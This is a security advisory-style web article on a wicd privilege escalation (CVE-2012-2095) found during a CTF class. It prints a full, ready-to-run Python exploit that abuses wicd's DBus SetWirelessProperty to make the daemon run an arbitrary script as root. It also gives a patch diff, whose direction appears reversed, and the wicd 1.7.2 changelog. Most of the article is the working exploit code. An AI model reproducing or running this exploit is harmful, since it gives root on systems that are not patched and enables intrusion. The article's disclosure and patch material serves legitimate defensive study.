Backtrack 5 R2 wicd Privilege Escalation Exploit and Patch

wicd suffers from a privilege escalation vulnerability where an exploit can be use to spawn a root shell. The wicd Privilege Escalation Exploit source code and patch are included in this article. This wicd Privilege escalation exploit was discovered by a student in the InfoSec Institute Ethichal Hacking class, during a CTF exersise.

The “Wicd” or Wireless Interface Connection Daemon version found in the latest BackTrack linux penetration testing distribution, the BackTrack 5 R2, has a vulnerability where a privilege escalation exploit can be use to spawn a root shell.

wicd escalate

wicd Privilege Escalation Exploit source

Download wicd Privilege Escalation Exploit source.

==========================================
EXPLOIT:

#!/usr/bin/python
#wicd 0day exploit discovered on 4.9.12 by InfoSec Institute student
#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html
import sys
import os
import time
import getopt

try: from wicd import dbusmanager
except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0)

class Error(Exception):
	def __init__(self, error):
		self.errorStr=error

	def __str__(self):
		return repr(self.errorStr)

class Wicd():
	wireless=None
	daemon=None
	versionString=None
	def __init__(self):
		try:
			dbusmanager.connect_to_dbus()
			dbusInterfaces	= dbusmanager.get_dbus_ifaces()
			self.wireless		= dbusInterfaces["wireless"]
			self.daemon		= dbusInterfaces["daemon"]
		except:
			raise Error("Daemon is not running")
		self.versionString = self.daemon.Hello()

	def versionLessThan(self, version):
		if int(self.versionString.replace(".",""))<=version:
			return True
		else:
			return False

class Exploit():

	def __init__(self, wicd, scriptPath):
		self.wicd = wicd
		self.scriptPath = scriptPath

	def getNets(self):
		self.wicd.wireless.Scan(True)
		nets = self.wicd.wireless.GetNumberOfNetworks()
		while nets < 1:
			self.wicd.wireless.Scan(True)
			nets = self.wicd.wireless.GetNumberOfNetworks()
		for net in range(nets):
			yield net

	def exploit(self):

		for net in self.getNets(): pass # Priming scan.

		try:
			self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true")
		except:
			raise Error("Unable to exploit (SetWirelessProperty() failed.)")

		try:
			self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted")
		except:
			raise Error("Unable to exploit (SetWirelessProperty() failed.)")

		propertyKey	= 'bssid' # Could be essid, or any other identifiable wireless property
		vulnIdentifier	= self.wicd.wireless.GetWirelessProperty(0, propertyKey) 

		# TODO: Does this need a try construct?
		self.wicd.wireless.ReloadConfig()

		for net in self.getNets(): # Implicit, but required re-scan.
			if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier:
				self.wicd.wireless.ConnectWireless(net)
				return True
		raise Error("Unable to exploit (Lost the network we were using)")

def usage():
	print "[!] Usage:"
	print "	( -h, --help ):"
	print "		Print this message."
	print "	( --scriptPath= ): Required, executable to run as root."
	print "		--scriptPath=/some/path/to/executable.sh"

def main():
	print "[$] WICD =< 1.7.0Day"
	try:
		opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="])
	except getopt.GetoptError, err:
		# Print help information and exit:
		print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"
		usage()
		sys.exit(0)

	scriptPath=None

	for opt, arg in opts:
		if opt in ("-h", "--help"):
			usage()
			sys.exit(0)
		elif opt =="--scriptPath":
			scriptPath=arg
		else:
			# I would be assuming to say we'll never get here.
			print "[!] Parameter error."
			usage()
			sys.exit(0)

	if not scriptPath:
		print "[!] Parameter error: scriptPath not set."
		usage()
		sys.exit(0)

	try:
		wicd = Wicd()
	except Error as error:
		print "[!] WICD Error: %s" % (error.errorStr)
		exit(0)
	print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString)

	if not wicd.versionLessThan(171):
		print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow."

	exploit = Exploit(wicd, scriptPath)

	print "[*] Attempting to exploit:"

	try:
		exploit.exploit()
	except Error as error:
		print "[!] Exploit Error: %s" % (error.errorStr)
		exit(0)
	print "[*] Exploit appears to have worked."

# Standard boilerplate to call the main() function to begin
# the program.
if __name__=='__main__':
	main()

==========================================

PATCH:

- --- _wicd-daemon.py   2012-04-09 16:31:19.000000000 -0400
+++ wicd-daemon.py      2012-02-02 11:38:26.000000000 -0500
@@ -945,30 +945,6 @@
        self._scanning = False
        self.LastScan = []
        self.config = ConfigManager(wireless_conf, debug=debug)
- -
- -        #Using a dict to avoid repitition.
- -        self._validProperties = {
- -            'bssid':None,
- -            "essid":None,
- -            "hidden":None,
- -            "channel":None,
- -            "mode":None,
- -            "enctype":None,
- -            "encryption_method":None,
- -            "key":None,
- -            "automatic":None,
- -            "ip":None,
- -            "netmask":None,
- -            "broadcast":None,
- -            "gateway":None,
- -            "use_static_dns":None,
- -            "use_global_dns":None,
- -            "dns1":None,
- -            "dns2":None,
- -            "dns3":None,
- -            "use_settings_globally":None,
- -            "has_profile":None
- -}

    def get_debug_mode(self):
        return self._debug_mode
@@ -1088,7 +1064,7 @@
    def SetWirelessProperty(self, netid, prop, value):
        """ Sets property to value in network specified. """
        # We don't write script settings here.
- -        if (prop.strip() not in self._validProperties):
+        if (prop.strip()).endswith("script"):
            print "Setting script properties through the daemon is not" \
                  + " permitted."
            return False

In order to address this vulnerability, Wicd 1.7.2 was released to be able to patch this vulnerability (CVE-2012-2095) as well as several other added fixes have been included in their update.

Download the wicd 1.7.2.

wicd 1.7.2:
Major Changes:

  • Fix local privilege escalation when setting configuration properties through the daemon’s DBus interface (CVE-2012-2095).
  • Support passing no driver to wpa_supplicant.

Minor Changes:

  • Fixed installation instructions, with the new >= 1.7.1 commands.
  • Fixed typo preventing DHCP hostname from properly working.
  • Renamed wpa templates to clarify usage.
  • Fixed wicd-cli crash when switching wired network profiles.
  • Fallback to mode ‘Master’ if ‘None’ is detected when scanning wifi networks.
  • Fixed bug when trying to start wicd multiple times.
  • Fixed wicd-curses crash when trying to select wired encryption type, thanks to Joe MacMahon.
  • Fixed wicd-curses crash with UTF-8 encryption types.
  • Fixed wicd-daemon crash when child_pid is undefined, thanks to David Cantrell.

Note that the wicd privilege Escalation 0day exploit only affects the Wicd software, and is not a BackTrack 5 R2 vulnerability.